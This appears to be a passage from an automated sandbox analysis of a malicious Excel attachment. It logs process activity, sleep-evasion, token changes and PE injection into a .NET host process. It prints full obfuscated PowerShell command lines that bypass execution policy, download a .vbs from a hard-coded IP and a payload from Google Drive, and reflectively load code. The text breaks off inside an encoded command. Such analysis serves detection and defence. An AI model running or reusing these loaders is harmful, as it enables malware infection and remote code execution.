Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: Po docs.xls	Stream path 'Workbook' entropy: 7.99917781377 (max. 8.0)
Source: 37330000.0.dr	Stream path 'Workbook' entropy: 7.99908449411 (max. 8.0)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6437	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1522	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7334	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1282	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 804	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1157	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3058	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6794	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2264
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1336
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2341
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4287
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1046
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 378
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1713
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8081

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.dll			Jump to dropped file

Source: C:\Windows\System32\mshta.exe TID: 3768	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3948	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4044	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3864	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3988	Thread sleep count: 7334 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3988	Thread sleep count: 1282 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4020	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4024	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1892	Thread sleep count: 804 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1484	Thread sleep count: 1157 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 364	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1972	Thread sleep count: 3058 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1972	Thread sleep count: 6794 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2140	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2112	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2112	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 1960	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2952	Thread sleep count: 2264 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3348	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2740	Thread sleep count: 1336 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2192	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 532	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2128	Thread sleep count: 2341 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2128	Thread sleep count: 4287 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2596	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3624	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1732	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3968	Thread sleep count: 1046 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3960	Thread sleep count: 378 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4028	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4052	Thread sleep count: 1713 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 536	Thread sleep count: 8081 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2500	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2132	Thread sleep time: -13835058055282155s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2132	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 3900	Thread sleep time: -360000s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 60000

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4032, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 415000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 41A000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 4A0000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 7EFDE008	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1F25.tmp" "c:\Users\user\AppData\Local\Temp\3lzsnizg\CSCBF63D2839AE346389099BF789A42623B.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0Zi